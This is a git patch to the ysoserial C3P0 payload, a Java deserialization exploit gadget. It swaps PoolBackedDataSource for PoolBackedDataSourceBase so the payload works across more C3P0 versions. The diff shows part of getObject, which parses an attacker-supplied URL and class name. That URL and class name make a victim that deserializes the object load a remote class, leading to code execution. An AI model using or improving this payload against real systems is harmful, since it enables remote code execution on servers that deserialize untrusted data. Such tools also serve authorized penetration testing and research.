From 7d966b5ed23016ef117fd60e128dac18e3fff602 Mon Sep 17 00:00:00 2001 From: loopx9 <46422475+loopx9@users.noreply.github.com> Date: Sat, 4 Jun 2022 21:29:10 +0800 Subject: [PATCH] update C3P0 for more compatiblity. The PoolBackedDataSource class within this payload is not nesscessary, and it does not declare a static serialVersionUID, that may get different serialVersionUID from various versions of C3P0. But the PoolBackedDataSource class has a hard-coded serialVersionUID, so removing PoolBackedDataSource can make this payload more compatible with other versions of C3P0. --- src/main/java/ysoserial/payloads/C3P0.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/main/java/ysoserial/payloads/C3P0.java b/src/main/java/ysoserial/payloads/C3P0.java index 3b673eba..49514ebb 100644 --- a/src/main/java/ysoserial/payloads/C3P0.java +++ b/src/main/java/ysoserial/payloads/C3P0.java @@ -12,7 +12,7 @@ import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; -import com.mchange.v2.c3p0.PoolBackedDataSource; + import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import ysoserial.payloads.annotation.Authors; @@ -51,7 +51,7 @@ public Object getObject ( String command ) throws Exception { String url = command.substring(0, sep); String className = command.substring(sep + 1); - PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); + PoolBackedDataSourceBase b = Reflections.createWithoutConstructor(PoolBackedDataSourceBase.class); Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url)); return b; }